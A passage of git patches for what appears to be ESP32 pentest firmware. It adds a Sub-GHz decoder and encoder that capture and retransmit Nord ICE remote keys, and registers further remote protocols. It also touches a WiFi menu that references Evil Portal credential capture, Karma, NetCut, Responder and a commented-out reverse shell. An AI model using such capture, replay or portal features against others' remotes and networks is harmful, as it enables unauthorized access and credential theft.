+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Nord_IceDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_nord_ice_const.te_short * 25) <
+                subghz_protocol_nord_ice_const.te_delta * 11) {
+                //Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_nord_ice_const.te_short) <
+                    subghz_protocol_nord_ice_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_nord_ice_const.te_long) <
+                    subghz_protocol_nord_ice_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                // If got 33 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_nord_ice_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = Nord_IceDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = Nord_IceDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = Nord_IceDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_nord_ice_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNord_Ice* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_nord_ice_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNord_Ice* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nord_ice_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNord_Ice* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_nord_ice_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_nord_ice_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNord_Ice* instance = context;
+
+    subghz_protocol_nord_ice_check_remote_controller(&instance->generic);
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    // for future use
+    // // push protocol data to global variable
+    // subghz_block_generic_global.btn_is_available = false;
+    // subghz_block_generic_global.current_btn = instance->generic.btn;
+    // subghz_block_generic_global.btn_length_bit = 4;
+    // //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%08llX\r\n"
+        "Yek: 0x%08llX\r\n"
+        "Serial: 0x%07lX\r\n"
+        "Btn: %02X",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint64_t)(instance->generic.data & 0xFFFFFFFFF),
+        (code_found_reverse & 0xFFFFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.h
new file mode 100644
index 000000000..4149fba7d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nord_ice.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_NORD_ICE_NAME "Nord ICE"
+
+typedef struct SubGhzProtocolDecoderNord_Ice SubGhzProtocolDecoderNord_Ice;
+typedef struct SubGhzProtocolEncoderNord_Ice SubGhzProtocolEncoderNord_Ice;
+
+extern const SubGhzProtocolDecoder subghz_protocol_nord_ice_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_nord_ice_encoder;
+extern const SubGhzProtocol subghz_protocol_nord_ice;
+
+/**
+ * Allocate SubGhzProtocolEncoderNord_Ice.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderNord_Ice* pointer to a SubGhzProtocolEncoderNord_Ice instance
+ */
+void* subghz_protocol_encoder_nord_ice_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderNord_Ice.
+ * @param context Pointer to a SubGhzProtocolEncoderNord_Ice instance
+ */
+void subghz_protocol_encoder_nord_ice_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderNord_Ice instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nord_ice_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderNord_Ice instance
+ */
+void subghz_protocol_encoder_nord_ice_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderNord_Ice instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_nord_ice_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderNord_Ice.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderNord_Ice* pointer to a SubGhzProtocolDecoderNord_Ice instance
+ */
+void* subghz_protocol_decoder_nord_ice_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderNord_Ice.
+ * @param context Pointer to a SubGhzProtocolDecoderNord_Ice instance
+ */
+void subghz_protocol_decoder_nord_ice_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderNord_Ice.
+ * @param context Pointer to a SubGhzProtocolDecoderNord_Ice instance
+ */
+void subghz_protocol_decoder_nord_ice_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderNord_Ice instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_nord_ice_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderNord_Ice instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_nord_ice_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderNord_Ice.
+ * @param context Pointer to a SubGhzProtocolDecoderNord_Ice instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_nord_ice_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderNord_Ice.
+ * @param context Pointer to a SubGhzProtocolDecoderNord_Ice instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nord_ice_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderNord_Ice instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_nord_ice_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c
index d4390fd7f..25a0420ee 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c
@@ -28,7 +28,8 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
     &subghz_protocol_feron,         &subghz_protocol_roger,
     &subghz_protocol_elplast,       &subghz_protocol_treadmill37,
     &subghz_protocol_beninca_arc,   &subghz_protocol_jarolift,
-    &subghz_protocol_ditec_gol4,
+    &subghz_protocol_ditec_gol4,    &subghz_protocol_keyfinder,
+    &subghz_protocol_nord_ice,      &subghz_protocol_allstar_firefly,
 };
 
 const SubGhzProtocolRegistry subghz_protocol_registry = {
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h
index a2067f4e8..3a2b763f1 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h
@@ -1,7 +1,6 @@
 #pragma once
 #include "../registry.h"
 #include "../subghz_protocol_registry.h"
-
 #include "princeton.h"
 #include "keeloq.h"
 #include "nice_flo.h"
@@ -57,3 +56,6 @@
 #include "beninca_arc.h"
 #include "jarolift.h"
 #include "ditec_gol4.h"
+#include "keyfinder.h"
+#include "nord_ice.h"
+#include "allstar_firefly.h"
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h
index 43bef118b..aa5e1965a 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h
@@ -57,7 +57,7 @@ bool subghz_protocol_keeloq_create_data(
  * @param preset Modulation, SubGhzRadioPreset
  * @return true On success
  */
-bool subghz_protocol_keeloq_bft_create_data(
+bool subghz_protocol_keeloq_seed_create_data(
     void* context,
     FlipperFormat* flipper_format,
     uint32_t serial,
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c
index 326576bde..483435124 100644
--- a/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c
@@ -99,10 +99,6 @@ bool subghz_protocol_raw_save_to_file_init(
         if(!storage_simply_mkdir(instance->storage, SUBGHZ_RAW_FOLDER)) {
             break;
         }
-        // Create saved directory if necessary
-        if(!storage_simply_mkdir(instance->storage, SUBGHZ_RAW_FOLDER)) {
-            break;
-        }
 
         furi_string_set(instance->file_name, dev_name);
         // First remove subghz device file if it was saved
diff --git a/ref/unleashed-firmware b/ref/unleashed-firmware
index 823607912..44ff715a3 160000
--- a/ref/unleashed-firmware
+++ b/ref/unleashed-firmware
@@ -1 +1 @@
-Subproject commit 8236079122d9a48681946567f30f60f9bdf834c8
+Subproject commit 44ff715a3e2247db8864c76fc6c256be0571d355
diff --git a/src/core/serial_commands/subghz_advanced_commands.cpp b/src/core/serial_commands/subghz_advanced_commands.cpp
index 3a7f5218f..772192fa9 100644
--- a/src/core/serial_commands/subghz_advanced_commands.cpp
+++ b/src/core/serial_commands/subghz_advanced_commands.cpp
@@ -90,6 +90,33 @@ static uint32_t subghzAdvAnalyzeFileCallback(cmd* c) {
     return true;
 }
 
+static uint32_t subghzAdvProtocolsCallback(cmd* c) {
+    Command cmd(c);
+    Argument profileArg = cmd.getArgument("profile");
+
+    SubGhzAdvancedEngine& engine = SubGhzAdvancedEngine::instance();
+    engine.begin();
+
+    if(profileArg.isSet()) {
+        String profile = profileArg.getValue();
+        profile.trim();
+        profile.toUpperCase();
+        if(profile == "CORE") engine.setProfile(SubGhzAdvancedProfile::CORE);
+        else if(profile == "FULL")
+            engine.setProfile(SubGhzAdvancedProfile::FULL);
+    }
+
+    const auto& protocols = engine.getEnabledProtocolNames();
+    serialDevice->println(
+        "{\"profile\":\"" + engine.getProfileName() + "\",\"count\":" + String((int)protocols.size()) +
+        "}");
+    for(const auto& protocol : protocols) {
+        serialDevice->println(protocol);
+    }
+
+    return true;
+}
+
 void createSubGhzAdvancedCommands(SimpleCLI* cli) {
     Command root = cli->addCompositeCmd("subghz_adv");
 
@@ -103,4 +130,7 @@ void createSubGhzAdvancedCommands(SimpleCLI* cli) {
 
     Command analyze = root.addCommand("analyze_file", subghzAdvAnalyzeFileCallback);
     analyze.addPosArg("filepath");
+
+    Command protocols = root.addCommand("protocols", subghzAdvProtocolsCallback);
+    protocols.addPosArg("profile", "current");
 }
diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
index 6b7c0e65b..a4bfee6c5 100644
--- a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
@@ -10,6 +10,7 @@
 #include <subghz/receiver.h>
 
 #include <subghz/protocols/alutech_at_4n.h>
+#include <subghz/protocols/allstar_firefly.h>
 #include <subghz/protocols/ansonic.h>
 #include <subghz/protocols/beninca_arc.h>
 #include <subghz/protocols/bett.h>
@@ -39,6 +40,7 @@
 #include <subghz/protocols/jarolift.h>
 #include <subghz/protocols/keeloq.h>
 #include <subghz/protocols/kinggates_stylo_4k.h>
+#include <subghz/protocols/keyfinder.h>
 #include <subghz/protocols/legrand.h>
 #include <subghz/protocols/linear.h>
 #include <subghz/protocols/linear_delta3.h>
@@ -51,6 +53,7 @@
 #include <subghz/protocols/nero_sketch.h>
 #include <subghz/protocols/nice_flo.h>
 #include <subghz/protocols/nice_flor_s.h>
+#include <subghz/protocols/nord_ice.h>
 #include <subghz/protocols/phoenix_v2.h>
 #include <subghz/protocols/power_smart.h>
 #include <subghz/protocols/princeton.h>
@@ -98,7 +101,8 @@ static const SubGhzProtocol* const kFullProtocols[] = {
     &subghz_protocol_hollarm,    &subghz_protocol_hay21,      &subghz_protocol_revers_rb2,
     &subghz_protocol_feron,      &subghz_protocol_roger,      &subghz_protocol_elplast,
     &subghz_protocol_treadmill37, &subghz_protocol_beninca_arc, &subghz_protocol_jarolift,
-    &subghz_protocol_ditec_gol4,
+    &subghz_protocol_ditec_gol4, &subghz_protocol_keyfinder, &subghz_protocol_nord_ice,
+    &subghz_protocol_allstar_firefly,
 };
 
 static const SubGhzProtocolRegistry kFullRegistry = {
@@ -106,6 +110,10 @@ static const SubGhzProtocolRegistry kFullRegistry = {
     .size = sizeof(kFullProtocols) / sizeof(kFullProtocols[0]),
 };
 
+static const SubGhzProtocolRegistry* selectRegistry(bool full_profile) {
+    return full_profile ? &kFullRegistry : &kCoreRegistry;
+}
+
 static bool splitLineKV(const String& line, String& key, String& value) {
     const int idx = line.indexOf(':');
     if(idx <= 0) return false;
@@ -187,6 +195,8 @@ static void parseDecoderString(String text, SubGhzAdvancedFrame& frame) {
             }
             if(frame.button.length() == 0 && line.indexOf("Btn:") >= 0) {
                 frame.button = normalizeHexLike(extractTokenAfter(line, "Btn:"));
+            } else if(frame.button.length() == 0 && line.indexOf("ID:") >= 0) {
+                frame.button = normalizeHexLike(extractTokenAfter(line, "ID:"));
             }
             if(frame.serial.length() == 0) {
                 if(line.indexOf("Sn:") >= 0) frame.serial = normalizeHexLike(extractTokenAfter(line, "Sn:"));
@@ -291,6 +301,26 @@ static void subghzRxCallback(
     }
 }
 
+void SubGhzAdvancedDecoderAdapter::getEnabledProtocolNames(
+    bool full_profile,
+    std::vector<String>& out) {
+    out.clear();
+
+    const SubGhzProtocolRegistry* registry = selectRegistry(full_profile);
+    if(!registry || !registry->items || registry->size == 0) return;
+
+    out.reserve(registry->size);
+    for(size_t i = 0; i < registry->size; i++) {
+        const SubGhzProtocol* protocol = registry->items[i];
+        if(protocol && protocol->name) out.emplace_back(protocol->name);
+    }
+}
+
+size_t SubGhzAdvancedDecoderAdapter::getEnabledProtocolCount(bool full_profile) {
+    const SubGhzProtocolRegistry* registry = selectRegistry(full_profile);
+    return registry ? registry->size : 0;
+}
+
 bool SubGhzAdvancedDecoderAdapter::decodeRawSubText(
     const String& text,
     uint32_t frequency_hz,
@@ -302,7 +332,7 @@ bool SubGhzAdvancedDecoderAdapter::decodeRawSubText(
     SubGhzEnvironment* env = subghz_environment_alloc();
     if(!env) return false;
 
-    subghz_environment_set_protocol_registry(env, full_profile ? &kFullRegistry : &kCoreRegistry);
+    subghz_environment_set_protocol_registry(env, selectRegistry(full_profile));
     (void)subghz_environment_load_keystore(env, "/mfcodes");
 
     SubGhzReceiver* rx = subghz_receiver_alloc_init(env);
diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
index e0b0e0374..62185106b 100644
--- a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
@@ -3,6 +3,8 @@
 
 #include "subghz_advanced_types.h"
 
+#include <vector>
+
 class SubGhzAdvancedDecoderAdapter {
 public:
     static SubGhzAdvancedFrame decodeBruceCapture(
@@ -10,6 +12,9 @@ class SubGhzAdvancedDecoderAdapter {
         const String& source = "live-rx",
         bool full_profile = false);
 
+    static void getEnabledProtocolNames(bool full_profile, std::vector<String>& out);
+    static size_t getEnabledProtocolCount(bool full_profile);
+
     static bool decodeRawSubText(
         const String& text,
         uint32_t frequency_hz,
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.cpp b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
index 1e975828c..e0f992288 100644
--- a/src/modules/subghz_advanced/subghz_advanced_engine.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
@@ -17,33 +17,25 @@ SubGhzAdvancedEngine& SubGhzAdvancedEngine::instance() {
 }
 
 void SubGhzAdvancedEngine::begin() {
+    if(m_initialized) return;
     initProtocolTables();
 #ifdef SUBGHZ_ADV_PROFILE_FULL
     m_profile = SubGhzAdvancedProfile::FULL;
 #else
     m_profile = SubGhzAdvancedProfile::CORE;
 #endif
+    m_initialized = true;
 }
 
 void SubGhzAdvancedEngine::initProtocolTables() {
-    if(!m_coreProtocols.empty()) return;
-
-    m_coreProtocols = {
-        "Keeloq", "CAME", "CAME Twee", "CAME Atomo", "Nice FLO", "Nice FloR-S", "FAAC SLH",
-        "Princeton", "Linear", "LinearDelta3", "Security+ 1.0", "Security+ 2.0", "Holtek",
-        "Holtek_HT12X", "Doitrand", "Megacode", "Power Smart", "RAW", "BinRAW"};
-
-    // FULL profile placeholder for all protocols from upstream registry.
-    m_fullProtocols = m_coreProtocols;
-    m_fullProtocols.push_back("Nice One");
-    m_fullProtocols.push_back("Nero Sketch");
-    m_fullProtocols.push_back("Nero Radio");
-    m_fullProtocols.push_back("Mastercode");
-    m_fullProtocols.push_back("Marantec");
-    m_fullProtocols.push_back("Marantec24");
-    m_fullProtocols.push_back("Dooya");
-    m_fullProtocols.push_back("Bett");
-    m_fullProtocols.push_back("Intertechno_V3");
+    if(!m_coreProtocols.empty() || !m_fullProtocols.empty()) return;
+
+    SubGhzAdvancedDecoderAdapter::getEnabledProtocolNames(false, m_coreProtocols);
+    SubGhzAdvancedDecoderAdapter::getEnabledProtocolNames(true, m_fullProtocols);
+
+    // Safety fallback: never expose an empty list to UI.
+    if(m_coreProtocols.empty()) m_coreProtocols = {"Keeloq", "CAME", "Princeton", "RAW"};
+    if(m_fullProtocols.empty()) m_fullProtocols = m_coreProtocols;
 }
 
 void SubGhzAdvancedEngine::setProfile(SubGhzAdvancedProfile profile) { m_profile = profile; }
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.h b/src/modules/subghz_advanced/subghz_advanced_engine.h
index 2a4dc7858..280129dcf 100644
--- a/src/modules/subghz_advanced/subghz_advanced_engine.h
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.h
@@ -37,6 +37,7 @@ class SubGhzAdvancedEngine {
 private:
     SubGhzAdvancedEngine() = default;
 
+    bool m_initialized = false;
     SubGhzAdvancedProfile m_profile = SubGhzAdvancedProfile::CORE;
     std::vector<SubGhzAdvancedFrame> m_recent;
 

From ec0dcc315a4c390a55aae9adfc812690292d5a62 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Sat, 23 May 2026 11:00:11 -0300
Subject: [PATCH 65/73] Fix autocomplete and log optout option

---
 boards/lilygo-t-lora-pager/interface.cpp  |  2 +-
 boards/lilygo-t-lora-pager/pins_arduino.h |  1 +
 src/core/config.cpp                       | 12 ++++++++++++
 src/core/config.h                         |  2 ++
 src/core/menu_items/WifiMenu.cpp          | 19 +++++++++----------
 src/modules/wifi/clients.cpp              | 17 ++++++++++++-----
 6 files changed, 37 insertions(+), 16 deletions(-)

diff --git a/boards/lilygo-t-lora-pager/interface.cpp b/boards/lilygo-t-lora-pager/interface.cpp
index b8012c53c..fcbe41171 100644
--- a/boards/lilygo-t-lora-pager/interface.cpp
+++ b/boards/lilygo-t-lora-pager/interface.cpp
@@ -94,7 +94,7 @@ const KeyValue_t _key_value_map[KB_ROWS][KB_COLS] = {
      {KEY_SHIFT, KEY_SHIFT, CAPS_LOCK},
      {KEY_BACKSPACE, KEY_BACKSPACE, '#'}},
 
-    {{' ', ' ', ' '}}
+    {{' ', ' ', KEY_TAB}}
 };
 
 char getKeyChar(uint8_t k) {
diff --git a/boards/lilygo-t-lora-pager/pins_arduino.h b/boards/lilygo-t-lora-pager/pins_arduino.h
index 698e0ed05..6442eee96 100644
--- a/boards/lilygo-t-lora-pager/pins_arduino.h
+++ b/boards/lilygo-t-lora-pager/pins_arduino.h
@@ -190,6 +190,7 @@ static const uint8_t RX = SERIAL_RX;
 #define KEY_FN 0x14
 #define KEY_BACKSPACE 0x08
 #define KEY_ENTER 0x0D
+#define KEY_TAB 0x2b
 
 // Interrupt IO
 #define RTC_INT 1
diff --git a/src/core/config.cpp b/src/core/config.cpp
index 40453d10f..3c78a874f 100644
--- a/src/core/config.cpp
+++ b/src/core/config.cpp
@@ -43,6 +43,7 @@ JsonDocument BruceConfig::toJson() const {
     _wifiAp["ssid"] = wifiAp.ssid;
     _wifiAp["pwd"] = wifiAp.pwd;
     setting["wifiMAC"] = wifiMAC; //@IncursioHack
+    setting["TerminalLog"] = TerminalLog;
 
     JsonArray _evilWifiNames = setting["evilWifiNames"].to<JsonArray>();
     for (auto key : evilWifiNames) _evilWifiNames.add(key);
@@ -290,6 +291,12 @@ void BruceConfig::fromFile(bool checkFS) {
         count++;
         log_e("wifiMAC not found, using default");
     }
+    if (!setting["TerminalLog"].isNull()) {
+        TerminalLog = setting["TerminalLog"].as<bool>();
+    } else {
+        count++;
+        log_e("TerminalLog not found, using default");
+    }
 
     // Wifi List
     if (!setting["wifi"].isNull()) {
@@ -638,6 +645,11 @@ void BruceConfig::setWifiApCreds(const String &ssid, const String &pwd) {
     saveFile();
 }
 
+void BruceConfig::setTerminalLog(bool value) {
+    TerminalLog = value;
+    saveFile();
+}
+
 void BruceConfig::addWifiCredential(const String &ssid, const String &pwd) {
     wifi[ssid] = pwd;
     saveFile();
diff --git a/src/core/config.h b/src/core/config.h
index b853ed47b..1e82c10b5 100644
--- a/src/core/config.h
+++ b/src/core/config.h
@@ -65,6 +65,7 @@ class BruceConfig : public BruceTheme {
     std::map<String, String> wifi = {};
     std::set<String> evilWifiNames = {};
     String wifiMAC = ""; //@IncursioHack
+    bool TerminalLog = true;
 
     // EvilPortal
     EvilPortalEndpoints evilPortalEndpoints = {"/creds", "/ssid", true, true, true};
@@ -152,6 +153,7 @@ class BruceConfig : public BruceTheme {
     // Wifi
     void setWebUICreds(const String &usr, const String &pwd);
     void setWifiApCreds(const String &ssid, const String &pwd);
+    void setTerminalLog(bool value);
     void addWifiCredential(const String &ssid, const String &pwd);
     void addQrCodeEntry(const String &menuName, const String &content);
     void removeQrCodeEntry(const String &menuName);
diff --git a/src/core/menu_items/WifiMenu.cpp b/src/core/menu_items/WifiMenu.cpp
index c537b28ab..a1767055d 100644
--- a/src/core/menu_items/WifiMenu.cpp
+++ b/src/core/menu_items/WifiMenu.cpp
@@ -11,18 +11,15 @@
 #include "modules/wifi/clients.h"
 #include "modules/wifi/evil_portal.h"
 #include "modules/wifi/karma_attack.h"
+#include "modules/wifi/netcut.h"
 #include "modules/wifi/responder.h"
 #include "modules/wifi/scan_hosts.h"
 #include "modules/wifi/sniffer.h"
 #include "modules/wifi/wifi_atks.h"
-#include "modules/wifi/netcut.h" 
-
-
-
 
 #ifndef LITE_VERSION
-#include "modules/wifi/wifi_recover.h"
 #include "modules/pwnagotchi/pwnagotchi.h"
+#include "modules/wifi/wifi_recover.h"
 #endif
 
 // #include "modules/reverseShell/reverseShell.h"
@@ -36,8 +33,8 @@
 
 // 32bit: https://github.com/9dl/Bruce-C2/releases/download/v1.0/BruceC2_windows_386.exe
 // 64bit: https://github.com/9dl/Bruce-C2/releases/download/v1.0/BruceC2_windows_amd64.exe
-#include "modules/wifi/tcp_utils.h"
 #include "modules/wifi/socks4_proxy.h"
+#include "modules/wifi/tcp_utils.h"
 
 // global toggle - controls whether scanNetworks includes hidden SSIDs
 bool showHiddenNetworks = false;
@@ -65,9 +62,7 @@ void WifiMenu::optionsMenu() {
                            // WebUI cleanup now handled automatically inside EvilPortal constructor
                            EvilPortal();
                        }});
-    options.push_back({"NetCut", [=]() {
-                           netcutMenu();
-                       }});
+    options.push_back({"NetCut", [=]() { netcutMenu(); }});
     // options.push_back({"ReverseShell", [=]()       { ReverseShell(); }});
 #ifndef LITE_VERSION
     options.push_back({"Listen TCP", listenTcpPort});
@@ -95,7 +90,7 @@ void WifiMenu::optionsMenu() {
     options.push_back({"Brucegotchi", brucegotchi_start});
     options.push_back({"WiFi Pass Recovery", wifi_recover_menu});
 #endif
-    
+
     options.push_back({"Config", [this]() { configMenu(); }});
 
     addOptionToMainMenu();
@@ -111,6 +106,10 @@ void WifiMenu::configMenu() {
     wifiOptions.push_back({"Change MAC", wifiMACMenu});
     wifiOptions.push_back({"Add Evil Wifi", addEvilWifiMenu});
     wifiOptions.push_back({"Remove Evil Wifi", removeEvilWifiMenu});
+    wifiOptions.push_back({bruceConfig.TerminalLog ? "SSH/Telnet Log OFF" : "SSH/Telnet Log ON", [this]() {
+                               bruceConfig.setTerminalLog(!bruceConfig.TerminalLog);
+                               configMenu();
+                           }});
 
     // Evil Wifi Settings submenu (unchanged)
     wifiOptions.push_back({"Evil Wifi Settings", [this]() {
diff --git a/src/modules/wifi/clients.cpp b/src/modules/wifi/clients.cpp
index ea4c2c461..fa5dde7f1 100644
--- a/src/modules/wifi/clients.cpp
+++ b/src/modules/wifi/clients.cpp
@@ -149,7 +149,7 @@ void startSessionLog(ClientProtocol protocol) {
     withClientLock([&]() {
         closeSessionLogUnlocked();
 
-        if (!sdcardMounted) return;
+        if (!bruceConfig.TerminalLog || !sdcardMounted) return;
 
         if (!SD.exists("/Bruce")) SD.mkdir("/Bruce");
         if (!SD.exists("/Bruce/Terminal")) SD.mkdir("/Bruce/Terminal");
@@ -538,7 +538,7 @@ bool trySyncLiveInputFromRemoteLine(const String &line, bool renderUpdatedPrompt
 
     bool awaiting = false;
     withClientLock([&]() { awaiting = awaitingTabDebugResponse; });
-    if (awaiting && payload == liveInput) return false;
+    if (awaiting && payload == liveInput) return true;
 
     syncCommandBufferFromRemote(payload);
     withClientLock([&]() { awaitingTabDebugResponse = false; });
@@ -1104,15 +1104,22 @@ void runSessionUiLoop(const String &title) {
                 if (key.del) EscPress = false;
                 if (key.del) {
                     size_t promptLength = getCommandPromptLength();
+                    String liveInput = getTerminalLiveInput();
+                    bool remoteLineAlreadyActive = !liveInput.isEmpty();
                     if (commandBuffer.length() > promptLength) {
                         commandBuffer.remove(commandBuffer.length() - 1);
-                        setTerminalLiveInput(getBufferedCommandInput());
+                        if (remoteLineAlreadyActive) {
+                            setTerminalLiveInput(getBufferedCommandInput());
+                            queueSessionCommand(String(char(0x7f)));
+                        }
                         tft.setCursor(tft.getCursorX() - 6, tft.getCursorY());
                         tft.print(" ");
                         tft.setCursor(tft.getCursorX() - 6, tft.getCursorY());
                     } else {
-                        setTerminalLiveInput("");
-                        queueSessionCommand(String(char(0x7f)));
+                        if (remoteLineAlreadyActive) {
+                            setTerminalLiveInput("");
+                            queueSessionCommand(String(char(0x7f)));
+                        }
                     }
                 } else if (key.enter) {
                     String input = getBufferedCommandInput();

From 94bbe4d9a5d258af3b475a9631ea8219d4e6f67d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?John=2E=20Sabb=C3=A1?= <victorsabba@gmail.com>
Date: Sat, 23 May 2026 12:48:39 -0300
Subject: [PATCH 66/73] Ajustes no novo modulo subghz

---
 SUBGHZ_MIGRATION_ROADMAP.md                   | 120 ++++++
 SUBGHZ_PARITY_CHECKLIST.md                    |  41 ++
 SUBGHZ_UNLEASHED_DOCS_GAP_ANALYSIS.md         | 117 ++++++
 SUBGHZ_V1_RELEASE_NOTES.md                    |  75 ++++
 SUBGHZ_V1_SAMPLE_MATRIX.md                    | 171 +++++++++
 .../lilygo-t-embed-cc1101.ini                 |  16 +
 lib/subghz_unleashed_bridge/library.json      |   1 +
 .../lib/flipper_format/flipper_format.h       |   4 +
 .../include/lib/toolbox/level_duration.h      |  10 +
 .../src/subghz_compat.cpp                     | 353 +++++++++++++++--
 src/core/serial_commands/rf_commands.cpp      |  23 +-
 .../subghz_advanced_commands.cpp              |  53 +++
 src/modules/rf/rf_scan.cpp                    |  10 +-
 src/modules/rf/rf_send.cpp                    |  64 +++-
 src/modules/rf/rf_send.h                      |   1 +
 .../subghz_advanced_decoder_adapter.cpp       |  33 +-
 .../subghz_advanced_decoder_adapter.h         |  10 +-
 .../subghz_advanced_engine.cpp                |  44 ++-
 .../subghz_advanced/subghz_advanced_engine.h  |  10 +-
